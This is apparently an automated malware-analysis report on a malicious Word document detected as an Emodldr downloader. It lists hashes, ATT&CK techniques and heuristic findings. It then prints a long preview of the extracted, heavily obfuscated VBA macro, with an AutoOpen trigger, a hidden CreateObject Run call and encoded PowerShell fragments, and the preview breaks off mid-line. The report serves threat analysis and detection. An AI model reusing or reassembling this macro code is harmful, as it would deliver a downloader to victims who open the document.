Office (OLE) malware analysis — malicious · 82f916bc3ffb2da5

MALICIOUS

Office (OLE)

235.0 KB Created: 2018-03-27 14:40:00 Authoring application: Microsoft Office Word First seen: 2018-03-30

MD5: f5c0f6d4108d3aa220d5e918c95fdf70 SHA-1: 23204c109d3cdd6267e3c2b6b34d4b4497d920f4 SHA-256: 82f916bc3ffb2da5d5842e3e67a800dae6ccf28d60899f9cff8f34e9bd312809

192 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious OLE document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject to execute code. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' and the presence of a VBA macro named 'macros.bas' strongly indicate a downloader or dropper functionality. The script's obfuscated nature and the use of CreateObject suggest it is intended to download and execute a second-stage payload, aligning with the Emodldr family's typical behavior.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

CZCEQ = (GwYjzY - ChrB(56653))
CreateObject(vIkukQjP).Run vbrsaWFEHc + Chr(VBA.vbKeyC) + fYGHjTPjBXvJ + avXPrQwiHtD + KOBXt, vbHide
For Each rahAw In vrHhiw

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Attribute VB_Name = "ijdvZSO"
Sub AutoOpen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	43480 bytes
SHA-256: `bce9897f832f00fd017291b0aff090d9d3463349935ac9a329e7652b44cf7d3b`
Detection ClamAV: No threats found Obfuscation or payload: likely 697 of 1142 identifiers look randomly generated (e.g. 'L5mUEDQANgBhADAAZgAyAGIAYQAxAGUAZQBmADgA') — consistent with name-mangling obfuscation. Carved artifact contains 25 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "fiKSLDDp" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "zRnQiChXzkX" Function WAzbtrwnkjtBJO() On Error Resume Next For Each tjPpd In bUTIV iSnjiF = 62230 - IAdpiK For Each HQXhJ In oDwSv YSoJqK = djOMi Next Next jpAEouc = WRrdS("E2%aqmADQAZgBkAGQAYgAwAGMAOQBlAGIAOQA1AGUAMwA0AGUAYQBkAGEANwBiAGEAMwBlAGUAYQA5q8", 6, 73) For Each ONNsD In LSKTE aMjtOq = 26152 - TINTrm For Each MhjsEs In uBaLt kTNwkN = wljSX Next Next For Each XSTJs In TMAUjz cOjbQW = 74464 - jNsVRq For Each jBcfW In GVYCs EhNDI = LRmvD Next Next uzCcfpl = WRrdS("jIJRFAGUAYgA5ADQAMgA2ADkAOQBlADcAOQAyAGYAOQA1ADYAOAAyADUAOQAwAGEAYgBmADMAOAAzAGMANgBhADUANgAwAGIAMQA0AGIANgAwAGQAMQBmADUAOQAzAGYAMQBmADMAYQA5ADAAZgA2AGUAYQAzADUANAA2ADgANQBkADYAYgA0AGQANAA5AGUAMgA3ADEARAqo", 6, 196) For Each PGjnE In obHJfw BdnVtK = 47607 - KiCWJ For Each FFZWlw In QQWSQ NRDuBO = HmXwt Next Next For Each YUbAHE In LljstN tbjNc = 2334 - OIJsYv For Each IPwPi In zEfsHU ULDnPj = XLWwQ Next Next hlFVACqz = WRrdS("H03mADcAMAA2ADkANQA4AGYAMQBhADkANgA0AGEAYQBlAGUANQAwADMANgA5ADUANABmADYAYwBiADIANAA4AGUANwBjAGIAMgA3AGIAZgAxADAAMAAxADcAMgBkAGf8h", 4, 123) For Each EKMSIj In UCWjd cJowq = 10789 - PaDFV For Each oqpzsA In DjnsNj LRSoT = DHviP Next Next For Each pLSCEE In vECfd WVCoA = 57436 - jpPdw For Each UPqtJ In bSiaNV HIYnS = isBCT Next Next jRriscoln = WRrdS("b.NMAAzADcANgAzADIAZgA1ADEANgA4AGUAZABiADcANQBlAGMAMAAwAGMAMgBiAGQANgAwADgAOQAzADAAYwBjADAAMwAzADUAOABjADUANwBjAGQAZQAzAGUAMABlAGQANQA3AGMAZQAzAGQAOQA0ADIAZgBlADMANQBjADQAYgBlADYAMABkADEANABmADAAcDi", 4, 192) For Each ZLwJAv In FqjtFK pBDnup = 35350 - WNKBzW For Each VTNWQ In icJhiY NYOSd = RcpNH Next Next For Each iXkLZp In RHoGwn zPiwIz = 11917 - HFsfB For Each HtwNjV In kGBiH TwlTO = HMKLo Next Next pnwCVjC = WRrdS("Sp@EAAYwA3ADgAZQAxADkAZAA3AGUAZQBmADAAZgA4AGQAMwJlf", 5, 44) For Each YbdPiS In oqKOst RUMId = 32079 - vmGWl For Each WtmwhI In LukVb oSLJjt = zrnzCi Next Next For Each LdhTS In kJDfZ qRptN = 22728 - lWjpc For Each LBZCf In XnizPd wWYjkl = XIhjYJ Next Next bwYZOTKB = WRrdS("aApUreSTrInG -K 25,13,230,59,145,218,62,251,194,208,12,55,231,211,115,237,126,14,147,94,171,140,209,12,80,6,194,249,24,42,99,59) ))4RK1", 4, 128) For Each wOpcn In zHJKH mCWHT = 50305 - jNfMn For Each EjwCUt In VqaZtV ZjrMOc = wrAAN Next Next For Each XFGnWj In AMaDcs rfEPi = 22079 - zAPaW For Each qSqBHz In PJBiHj CiRZB = mqzDu Next Next bMnjli = WRrdS("XH & ( $SHeLLid[1]+$ShellId[13]+'x') (( [runTIME.iNteRopljzE", 3, 54) For Each GGXFr In AzEiV viPAh = 57740 - HzHQV For Each qYHzAT In GurWrE RHjzU = rdWzm Next Next For Each TuNSuK In mhLqkS TBjNwm = 65056 - BlzEUr For Each qknBZI In sMkqrz iDFLE = jLwVm Next Next LnJMrkPoZli = WRrdS("CkiZQBzAEYAagBpAGwASgBRAE0AeQA4AEEAPQA9AHwANAA0ADUAOQBlADUANAA3ADcAOQA3AGMAMgAzAGUAOAA2AGUAZQnHlsN", 4, 90) For Each ktbTp In mIqbDj afITcF = 90852 - SWittQ For Each ufmRP In YvRtv EqaDz = Sdnar Next Next For Each iizOd In VUsLi XbpXhf = 43500 - RdmPj For Each odGXds In JFhAd wojcct = wzuYd Next Next zbAVGH = WRrdS(".OfHjMAAzAGYAYgBlAGYAOQAzADYAYQBhADAAMAA3ADQANwAyADkAMgAwAGIAOQA5ADgANQA3ADYAZgA5ADcAYwAxADkANQAzADYAZAA1AGUAOAAzADgAMABmADAAZgAxADYANwAxADYAZAAyADMAMAAyAGYAZgAJi", 6, 155) For Each oEoFr In ilRrOV pTOWIW = 8476 - aZlAKV For Each tqiiu In EMUAp vMizS = vEskb Next Next For Each daKFa In qofMo qTKblG = 29096 - jfjpD For Each mtZnbh In NMiJqo bMFzd = tPzmO Next Next uOuSMCcEuAa = WRrdS("L5mUEDQANgBhADAAZgAyAGIAYQAxAGUAZQBmADgANwBmADYAwvYF", 6, 43) For Each dVrwqU In cOzPr HWcGjR = 89800 - CwTZk For Each CEXtn In cEFVO poMziz = OWiQI Next Next For Each AMwRR In qzQPVJ wBYsSJ = 49165 - dvLMEd For Each MjsvdA In MwvKV CzVzS = jbkTu Next Next UPaptqJCYmL = WRrdS("7QAMwBjADUAMQBiADkAZQBiADcAZABiADMAZAA3AGUAZQAzADUANgA1AGIAYgAyADIAYgAyAGQAZAA2ADkAZAA2ADkANQAwADEAYgA1ADYAMwAzAGUAMwA1ADQAZgAzAGEANABdjP%In", 2, 133) For Each KOXRk In MWsnj Zjdfo = 54072 - IoIsja For Each uzwWb In zfTmt MqwwYP = wZmbA Next Next For Each aYQhYQ In Iimjo iiSAYa = 78836 - cvvQM For Each KqiKcG In oDVjT McVDt = RsfWuB Next Next MXNjaqGXz = WRrdS("r.wwA3ADEANQBkAGMAOAAzADgAZgAwADYAZAA0AGUAMQA4ADAAMwBkADcAZgA1AGUAOAAyAGQAZQAxADkAYwAxADYAZAAxADkAMgBiADcAMAA1ADIANgAyAGUANAA3AGMAYgAxADQANgA0ADMANQB.3wA", 4, 146) For Each zXwdU In MosRD GhJqiz = 33775 - PcbHs For Each SvjfU In IQHuqa RHVTK = amQHC Next Next For Each UoPBP In jFdCD JSKufi = 35937 - KTXUzU For Each VOtXKl In cCcAjP vZKaJK = nirBji Next Next XwGKCzZc = WRrdS("KfAOAAzAGYAMAA2ADkAOQBlAGEAMwBjADMAZQBlAGUANAAyADcANAA2ADMAZABmADkAZABlADkAMQA2ADkAOAA3ADUAYwBkADMANAA2AGUAYwA2ADYAZgBkAGQAMABiADMAMdQzS", 3, 130) For Each BQvDuh In rjfsG pISiB = 6728 - PuMuoK For Each ifBWbD In alhzl lDpfhD = vfQNzj Next Next For Each NbnTw In zlSTu ImlzzR = 21950 - CcHjwM For Each tzFkTc In WiRBDL tGTiLl = kDmid Next Next SOuPPibTt = WRrdS("9hNhAxADMANABjADQAOAAwADIANwA2AGIAOQAxAGMAYgA1ADcAYgBlADQAMQBmAGUAOQAzAGEAMQA1ADYANgA3AGYAMABlADkAMgBlADkANgAwAGEAOAAyAGYAMAA4ADAAZABiADkANAAzAGEANwBlAGQANwBiADgAZgA4AGIAHh", 5, 166) For Each zlTDX In aDmNja dPCfw = 25721 - DJVoF For Each ajIvSG In SilOOd klHtj = DIkiX Next Next For Each dpVbkc In jUDsjQ TzXIj = 15022 - lLCWw For Each SwjNwp In qfrNB cLlrw = CEUXGs Next Next QNSXYZU = WRrdS("zvQA3ADUANAAwAGMANAA4ADYAZgA5ADYAYQA5AGEAOAAxAGIANAA2AGUAMgAyAGEAMAA1AGQAZgA4AGMAOAA3AGEAZQBiAGQAOQA0AGIAZgA1ADAAYgAxAGIAYQBkAGUAMgAzADEAMgBjAGIAMwA0ADIAZAA0ADYAMgBiAGIAMgA0AGYAOQBhAGQAMQBiADMAOAA4ADjWR.S5", 3, 197) For Each zdriTE In sjnkpw JUoIJG = 40620 - KAUDhw For Each zYcVUr In zBXIPS XACCws = jOzlHS Next Next For Each PSzUdH In aorfXf qHpcQz = 84287 - mmwEOz For Each WpBwB In bIPDjI zvntZu = Hktzvl Next Next tREAlCjiD = WRrdS("uaSIAMAAxADQAYgA0ADkAYQAyAGYAMwA1ADkANwBmAGYAZABjADQAYgA5AGUAYwBiADYANQBmAGMAMgBlADIAMQA5AGEAZAA0ADIANAA4ADAAZQA5ADAAYwA3ADAAOQA1AGIAMgAyADIAMQAyADUAYgAyHYEl%A", 4, 150) For Each fKXYt In ORBdZd OzZZj = 83821 - CrwDf For Each GDlvE In QPvzr qXaftK = vriIK Next Next For Each IXbMW In CkAZR wBLQbJ = 32649 - mcWpA For Each IAdESz In SREHuV WBIWlZ = cZFCb Next Next dkzPFrlmO = WRrdS("jEANwBkAGUAZAA3ADYAMABjAGIAOABiAGUAMAAwADIAYQA3ADAAMAA0AGQAOQAxAGQAZgBiAGEANQA0ADEAOAA2ADgAZgA5ADcAZQAzApSNLNT", 2, 103) For Each FYjAlL In DCGwGT fkGIh = 77593 - plTAEb For Each faYBrC In tkEWit UuMPRY = sSwUnI Next Next For Each Jbipjm In WurRKL VJTpvS = 55975 - ZFEpd For Each KRSMW In oUROf jFqbo = zbiVH Next Next MjDDDmitmj = WRrdS("lQAYwA1ADIAMgA2ADMAMwAwADgANwBhADIANAA4ADQAZAAyAGQAZgA1ADYAZQAzAGMAMwA3ADYAYgA5ADYANQA2AGQAZABmADgAZABkADEAMAA3ADkAZQBkADIANwA1AGIANABmAGIAYwBhADMAZgA5ADUAOABhADkANgA0ADQANABhAGEA8Cchn", 2, 178) For Each BiMrB In ltJsM ZEoIHB = 84650 - JniXa For Each QBqBZo In KKoqw sdmwq = NCjNqT Next Next For Each hozVK In Iqaca hjjWi = 86142 - IHwhSA For Each ijsBI In aNuncl lzlUaz = ffUbd Next Next rjlDUYOYVlz = WRrdS("R5JestriNgtobsTR( $('76492d1116743f0423413b16050a5345MgB8ADEAYgBzADIAVAA5AHcAegBaAHoAv7RSw", 4, 82) For Each ELIiH In UDkZwZ zcTmv = 87946 - tqKVdG For Each jcCOQ In mYPEL zQvAYm = GBsLtY Next Next For Each wwTiK In dWZfp pJTqjw = 81116 - mzOljr For Each KurGiB In jAzba BCpYjZ = pripA Next Next vwXrrbcJYKW = WRrdS("jnEAOABkAGYAYwA3ADcANgA3ADAANwA2ADcAZQA0ADQAYQA3AGYANgAwADYAYgA4AGEjK9an", 3, 64) For Each tcwhi In TaSbh GYcdS = 82306 - XscjK For Each EHmnSL In FOHlh RZGWj = HzaAcM Next Next For Each BqmKzZ In wXYKU NRjRJ = 16106 - npDXbP For Each qbHnN In fDUTO LoDQwB = twYZKo Next Next wGFrD = WRrdS("%wWADYANQAwADkANQAxADMAMgAzADIANgBiADcAZABiAGYAMAA2AGIAZgA0ADMAZQA4ADUANgAyAGMANQBjADkAMwBkAGEAOQAzADgAYwAwADcANAr0%", 4, 110) For Each wwLnOi In HVUQlz WJwNC = 46061 - nkZEWp For Each TRCww In EjshE DDTiAM = TWocM Next Next For Each Rwjdi In krSsP HcnDl = 32349 - FsHlP For Each EApCUP In ILvGCS lbWYi = sCmob Next Next OFIjclOFKzX = WRrdS("nkJRgBmAGYANgAyAGUAMwA5ADUAYQBhADUAOQBjADgANABhAGIAOQAyAGMAOABkAGIAOAA2ADIAMQA3ADgAMwAyAGUANQBlADkAMQA5ADUAZQBlADcAYwBlADMAMwA5ADUANABkADUAOQBCKXX", 5, 138) For Each sMRSK In UwZDv zccKwj = 62802 - SrViW For Each CHmCNB In AXaqtl hUzhjh = FfiGGH Next Next For Each lAwqP In LTiwzo wYswLj = 26051 - qZkzAI For Each GhQKwz In VJMuF opPlTj = aUwYlC Next Next KAXLkwi = WRrdS("WAIjMlADkAYQBmcJa", 6, 9) For Each uaNqP In XNwfop WDjmQb = 67110 - AJzfQV For Each ljsZw In fuvVfQ bskwi = QXlMIK Next Next For Each NjYcb In QGiZC MPkTzl = 43702 - MhYYo For Each iTTTjr In UmLUJQ sOkwYP = jjjGtj Next Next QNvFvz = WRrdS("7@.MgBhADMAYwA0AGUAOAA5ADkAYQAyADEANwA0ADUAMQAzAGEAMQAxADUANwA5AGYANwAwADQAYQA0ADIAMgA1ADkAYQA1ADYAMABlAGIAZQBiADIAMwBiADcAOQAxAGYANgA2ADUANABiAGEANQBlADkAMQA1ADAAOQA1ADYAZAAz@l.", 4, 172) For Each rfHzn In mzmKpL sdZzqU = 63657 - zwbAZ For Each znjNp In odHDU iCvca = MjzGG Next Next For Each jzzIM In OdvuNf aIwsA = 57836 - RKNLLm For Each UIVcYL In AmkzjH AcRwf = uljLz Next Next opJKsImkmir = WRrdS(",MAA3AGQAYQA3ADEAOABlAGUAOQBjADUANgVPIwav", 3, 33) For Each QjVjo In auuVaR TYZVMu = 33412 - YQivM For Each ZqjbJd In vAfDv IMOfC = JLnVPU Next Next For Each GAtkQ In WuWDXV VBjWv = 69935 - aLwPRD For Each ZYtGK In WbjOH RrnVj = YWwnSj Next Next TzlwP = WRrdS("jjDIAOAA4ADcAMwBlADIANQAwADkANgBlADAAMAA3ADcAMgAwAGQANgBlADUAMwAxADcAZgA3AGEANwA0AGEAMABmADMAMwA1ADQAZgBlAGQANQA4AGYAOQAzADEAMAA4ADMAN%.A5%Pq", 3, 132) For Each bIauB In SMOzVd NwruVV = 29605 - TAmqPP For Each hTlGMG In Qvhiko CuSrnm = iESzRM Next Next For Each PLbJXS In iUYTW wDZhIm = 50796 - iIoaqu For Each ACWtK In wfsidB jSiIKB = TXXPC Next Next KmhEzr = WRrdS("NICjIRIAMwA5ADcAYwBjAGEAOQBkADMAMwBmAGYAYwBkAGQANgA0ADEAOABlAGEAYQBkADAAYQBlADIANgA3ADQAYwAzAGIAYQAwADAAMgA1AGMAYgAzAGEAZQAzAGIAMgAyADEAZRG", 7, 131) For Each RhCmj In XVdRBZ NzXjz = 58489 - vAPajQ For Each jkdfHr In MPdFz iJCBhi = nMvqXk Next Next For Each wzEzi In voWlT PcsTs = 59632 - abmnR For Each TjpIpB In uMVHiJ aUIsr = sEdtZ Next Next osHkwNKazYc = WRrdS("N@CoQAOABhADgANQA2ADYAYgAwAGIAMgBjAGYAMQAxAGYAMQBjADMAYwA2AGUANQBjAGMAZAA0AGUAZQA4ADMAZQAzADUAOAA4ADI9cu", 5, 97) For Each pLpmJJ In FKiFfj qUDGlo = 66079 - pFTuw For Each APCwj In MREaL rEMsPd = HNXAW Next Next For Each Ddfdkj In wGMUr TLjsW = 48729 - PMwVmM For Each lRpLMB In RKrIoL kRKIn = CkkBFV Next Next kCwwBCiaMcz = WRrdS("CjS,MAA0ADMAMQA4ADIANwAzADMAZgA0AGQAZgA2ADgAZQAzADQAMAA2ADIAYgBiAGYAYQA5AGYAMAA3AGEAZABhADcAZQAwADkANwAxADAAMABiAGMAYwA1AGc4N", 5, 118) For Each jqhJqY In WfQBHq BBsjiN = 22447 - vlNwRh For Each joFqK In adhRPM EAJBwS = jrRWI Next Next For Each KFoVWO In lOGFHX bOLdNC = 70012 - LWvSA For Each OriUI In tCbIi IDtdw = ihGnh Next Next vabYzvOfUwf = WRrdS("R08 ) ) Z2qo", 4, 5) For Each cWHJt In aDNYX ckwPl = 48644 - DwIujH For Each XskTwa In MsmAk Jibrj = XAODSw Next Next For Each SPVOU In SYwnw czCWz = 40186 - zOWbGI For Each sKiMAq In awHoj NHudwz = uQVKZz Next Next MjwsjPGi = WRrdS("KXTz%ScMANwAyADYAYQBiADUANAA1AGIANwBmADQAZABhADgAMgBmAGYAMwA2ADIAMgBmADUAMQAwADMAOQA4AGYAOABjAGQAZAAwADMAYgBiADUAMAA2AGQAYgAzAGUAOQA4AGEAZQA1ADQANwAzhj", 8, 142) For Each pEvnO In uLHul GBCzui = 32329 - fsUscI For Each fcpTn In hXVDT aoCzz = LrjrRa Next Next For Each RpzXIK In Erzicq WMWCV = 42671 - Pizzzd For Each bazCPY In iUttuS CpMzjp = GcSiZ Next Next OqPho = WRrdS("jEYgBhADQAZQAwADMAOQBmADYAZgBmAGMAZQAxADEAMAAxADYAOQA4ADkAYQBiAGK6Q3Q0", 3, 62) For Each CKAXK In IdQBfN jsrcI = 50868 - wMpkB For Each oaUzi In pXfTU iNKVm = hkOIVP Next Next For Each GmsPN In mhEhY NEkRq = 81589 - frwvH For Each KwMXI In vWZmzC PJjfz = oRpQS Next Next iamjQzDXFv = WRrdS("4AOQA1ADMAMwBjAGUAMQA0ADMAMnJ7R78", 2, 26) For Each MknuaJ In kNDIZJ odnnRm = 28740 - bPwMzl For Each kUhtq In IHbzcH zMBGW = VLiCw Next Next For Each njlhDY In uJlnQn aSnEYN = 5435 - FYaNw For Each tzNhH In OJElL WbvIWn = aOqlLT Next Next ZtduZAHzzwz = WRrdS("mDUAOQAzAGUAMQAyADYAYwBmADcAOAAzAGEANQBkADYAZABmADAAOABlADUAZQA1ADMAOABlAGD0@QC", 2, 73) For Each rfbNG In aQAMXG idQOB = 86870 - qbMwCm For Each XzDLBN In Qiiqi LGajl = iFwzc Next Next For Each MQTuYu In OkiYmW obIma = 69048 - wQhZG For Each cLDfX In Nzdlkp XKbMCc = HzkLaD Next Next ctWiMdww = WRrdS("h8RAQBkADcANAAwADIAZAAxADcANQBmAGYANQAzADAAOQBlADcAZQA2ADYAZQBmADQAZAA5ADMAOAA2ADkANQA3ADUAMwBmADEAOAA5ADMANgA2ADcAZQBhADgAMLF", 5, 120) For Each lOAlVS In TDjzAD QLqYw = 62284 - vWEiz For Each EfasE In nbkdz WLEHv = CZqqm Next Next For Each osITY In OGDod XuikZc = 25873 - MPUkXz For Each wNVDFM In OhtwjY qNGRJv = jLPYka Next Next pizijtVQdtN = WRrdS("tEqSeRvIcEs.MArSHAL]::([RuNTiMe.inTERoPseRviCES.MarshAL].gETmeMbeRs()[5].NAme).iNvOkE( [ruNtIMe.INTErOPSeRVIcES.MARSHAl]::SEcURiQSLqL", 4, 124) For Each YYYvY In PtilX kjwra = 90890 - GWBNSO For Each wSCFi In mjpJU IFVwi = tvKHj Next Next For Each AzALV In dhzka lwLNhw = 36290 - jJMELv For Each JMJLrI In RqLYkd zNqEaX = uQcAG Next Next rAOwWVrk = WRrdS("DLPAGIAOAAyADQAOAA2ADYAYgA4AGMANQA1ADAANgBiAGYANwBmADQAZAAzADcANABkADUANABiAGQAZQA1ADEAYQA2ADAAMgAwADcAZQBkADcAYQAyADUAMABmADcAMQA4ADIAMgAyADIAYgA0ADIAOQAzADgATT@", 4, 156) For Each crmvA In hUVqY izhUBJ = 23594 - shvWAk For Each aPwjK In BLaDQX wTiXR = wZhZP Next Next For Each KwKAH In KSjCf vwYIaG = 61489 - cwOSM For Each cTziPE In VivMLH tvioP = irwTC Next Next zWMSUV = WRrdS("lhADkAZQAzADMAYQAzAGUANQBiAGIAYgA5ADMAYwBiAGUAZQA0AGEAYwBlADkAZQBlAGUAOQA0AGEAZABlADYAYQA3AGUAOAA2AGYANwA0AGYAMQA4ADkANABjADIAMwBhAGUAOQBjADcAMwA5ADUAZgA0ADUAMQAzAGUAMwA3AGYAZQBiADkANgXolpjsD", 2, 183) For Each znaLi In nOsqTC boZUcw = 29323 - ZMjPZC For Each KlXjb In GHuSN YsNCc = AoTIWT Next Next For Each JzCREa In cGvwY zOrqWP = 21413 - WDqlO For Each LUjjm In ovwunH akcfAi = QOuvPk Next Next ZbaPfYBEoE = WRrdS("EdkXIOQBiAGIAZgBiAGQAZQA4AGYANQA1AGQAZABiAGQAZAA0ADkAOAAwADQANAAxAGaY", 6, 62) For Each WmuLf In GEIZOL FDSwC = 28408 - lZtYq For Each PDwZk In BfSIC IRkVbD = oFtMw Next Next For Each kwJGGA In boZqP TqsMQ = 58783 - NRwOm For Each GjRlI In omwlp RSuaas = onnSEV Next Next nqKVraoto = WRrdS("qELcbA3ADMANwBkADUAOAAyAGYAZAA0ADEAYgA1ADAANgAxADUANQA4AGEAZAA3AGSGL", 6, 60) For Each RwSTC In UmtWJC ZbnXE = 5551 - zMamq For Each jwhSR In QDzrT jvciYY = YcFMz Next Next For Each OfOiuj In juqjB MzIBfK = 36675 - OdBfpO For Each WDYRl In AzOBc VmpZk = jKkbV Next Next MLJQFn = WRrdS("ZXdAGYAMwA1AGIANgA1AGQAZQBiADEAYwA5AGEAZAAzAGMAMwA2ADIAMAA3AGUAYQAyAGQAMwBlADQAMQBjAGIANAA0AGMAMgA4AGUAOABhAEEcSa", 4, 105) For Each qQhzBM In EVVJqS QSLzt = 21 - CzGYE For Each XIERv In iaViBw CXmAd = GSrOwm Next Next For Each mWFtzO In iVjUQr pjMfE = 49144 - HfZJYP For Each UXDpEo In ADfWj WbLhv = bESrNf Next Next UhjJcKjWdSl = WRrdS("RoiA5ADIAMABhAGIAMwAxADYANgA5ADEUF", 4, 28) For Each ziqjk In zmKwfi DVpch = 16877 - HdfTr For Each rnrBj In JvpXKX ukfLdj = jdFPq Next Next For Each VLDKsO In wHMzZq wuYSQc = 5882 - invPGP For Each MtTjsP In mPhoG siWEdW = JwGdw Next Next twXqa = WRrdS("dkAA0ADYAMgBmAGYAZgBiADkAMgAwAGUAMABmADgAMQA2ADcAYwA5AGIAMwBhAGQAZAA0AGMAZAA3AGIANwBmADMAOQBjADIAYwBmADUAZQBkAGIAMAAyAGQAOQA4AGQANQA0AGEANwBmADEAMwB6YsZ", 3, 146) For Each lcQPdH In JuSfqz iHJkc = 42484 - rERql For Each OdPnqn In dkWzE fizLqO = LRBnWB Next Next For Each UmYnbN In RSwiK bjdqjh = 99100 - YLDtPR For Each UWijD In VTKAYQ fUBkuF = RMZOEN Next Next BuPHoqWG = WRrdS("02KcANgAzAGYAYgBmAGUAZAA1AGIAOAA.j2d", 4, 29) For Each waUuL In YwwRzG FPSpL = 33102 - zDJTz For Each ijHwP In qpYsqG UbjXk = nChBuj Next Next For Each BvmYmt In TIpQpR DvMGzp = 75337 - hVcTj For Each TitkjK In jfbTzB EDDtaW = fbihw Next Next juocXtDZ = WRrdS("VHT5ADIAMwBlAGMANAAzAtTjK", 4, 18) For Each iNQwSK In zavfF wTQkn = 3904 - MOiSit For Each ioHLD In SQVOfB vbdIYo = XjOqv Next Next For Each YXVZz In ZuAJMi IJsMZ = 21916 - diofHD For Each biCabw In ruZJPH EGWXYN = jHZlar Next Next zowWliiFknJ = WRrdS("bIR@VZAA1AGUANQAyAGYAMwA5ADgANwAxADUAZgA0AGIANQA5AGEAMAA2AGEAMABiADQAYgBkAGIANAA5AGIAMAA5ADQANQA5ADgAZQA0ADMANAA3AGYANgBlAGQAOQBlADEAMgA0ADYAMQBjAGEAMgA5ADYAZABkADcAYwA3ADgAOHv", 6, 169) For Each pipRuD In PwjliH OTCJD = 5770 - cSHjq For Each rWcoB In RBMjs EvoHm = pFbVoX Next Next For Each dGjAWz In ojpRj NCisX = 16082 - kvLnXw For Each EkUHw In jhNUMS OkJvv = wQhfY Next Next tRVaEAkkBGj = WRrdS("QGwAGUAMwAzADgAYQA2AGIAMAA3ADEAYwA2ADgAOAAwAGQAOAA0AGUAMABiADYAKspV,7", 4, 60) For Each wjwhu In dXZODO TnlfpK = 62883 - iTzmQ For Each TAHXFw In CPmASY uzAjuN = QMkrUr Next Next For Each nCKkP In FKaQLB tLJNA = 27577 - TokzUO For Each hYEimQ In Ibjso jwJfAM = DRKva Next Next FwcKlhUtSj = WRrdS("i,A3AGIAZQAzAGYAZgA4ADkAOQBjADYAMABmADEAOQA4AGMANwA2ADIAYQBkADQAMgAzAGIAMAAxADMAMQA4ADgAYwBlAGQAZgA1ADUANwAzADkAZAA4ADQAZAAwADgAMABlADYAZQBmADMAYgAzADAAMgA4ADYAMAAxADkAYwAxADAAMwAxADkANAA0ADEAZEjloBC", 3, 191) For Each nFzRM In AwXlV Ylpkja = 39579 - QvWfF For Each HMaQNJ In SdQJJ coAMK = tbbMSh Next Next For Each VslcwZ In niZPA LMQaw = 294 - adLMzN For Each KMjswR In wuFfkJ AdwNA = Qbzwwd Next Next iHaqzzzEQA = WRrdS("D4DEAZAA3ADcAYQAwADQAYQBjAGQANAAwADAAZQAzAGYAMQAyADIANwAxADcAYwBjADIAMABkADEA' \|coNvertTO-SECEnqX", 3, 91) For Each RrjZfj In NbzjQi NRLuL = 82337 - azPzwT For Each iNhuV In LGOjA aGYjP = RVDKnE Next Next For Each qDWAbp In SQSiNB qfjPTi = 43453 - dzqqQ For Each AjjEX In wUvWc MnXTAz = NCapL Next Next jRjIizja = WRrdS("OZAjR2ADYAOAA1AGQAOAA1ADQAZgAzADAAOAAyADMAMQBiAGEAMwA1AGMAMQBmADUAYwAyADkANgBlADQANQBjADEAYwBlADgANQA0ADMAZAA1ADEAOABiADcAYwAwAGYAMQAyAGYANgA0AGMAOABkADgANAA5ADk.VRP", 6, 156) For Each TWUZY In kZWRh apvjVj = 23617 - rSiwKw For Each fDAZtX In DjdvXN CpWqka = Pjhrd Next Next For Each CIIIi In AXONs ClWOc = 38636 - rqQzhS For Each jNKml In OPcUPR JoiRbG = HlpaGz Next Next lFajnnlrBE = WRrdS("9YjpBjADcAYgA4ADgAMgA2ADUAZQBkAGMAZ7n6", 5, 31) For Each BYlLb In NYnMbc zmJCw = 22751 - jDIzVa For Each NuXkjn In MqrJob lAVpzz = UcnbuW Next Next For Each MYWXO In RtQLIc Iprbp = 95284 - zdBQi For Each wGZjn In lDzVu MbdjLH = BlDpc Next Next pYtzIzr = WRrdS("JkAA0ADIAYQA5ADAANQBjADkAYwBlAGEAMwA3AGEAMgBlADcAZABkAGUAYQBiADcANABjADgAOQAwAGEAMQA5ADMANABkADIAZAA3ADkAYgA4ADQANgBhADcAOAAyADgAZgA1AjiH ", 3, 132) For Each hOBXiX In opuLT XzqQKU = 93675 - dVqNRt For Each jntRz In FujjO ozXhRP = kQKVsU Next Next For Each zCZCk In BEnqY hCzuC = 4915 - mJSzND For Each iZoXBK In WzwzA vkIri = TAwBKY Next Next OGfsLrib = WRrdS("cWa9@VgBhAGEANgA0AGwh", 7, 13) For Each DwEfE In wwdcQ pNzLD = 965 - CoCBBb For Each RjmjX In zmHYRU lCSSIr = pjWpuA Next Next dtvwAVkasMjQ = WaBuDDluO + """" + zEmQCGYt WAzbtrwnkjtBJO = lEAsijNGhqoQGp + IKzWktJAdhMz + SHzMDKFWW + dtvwAVkasMjQ + XQdMGdORGrnI + bMnjli + pizijtVQdtN + rjlDUYOYVlz + LnJMrkPoZli + UhjJcKjWdSl + pnwCVjC + 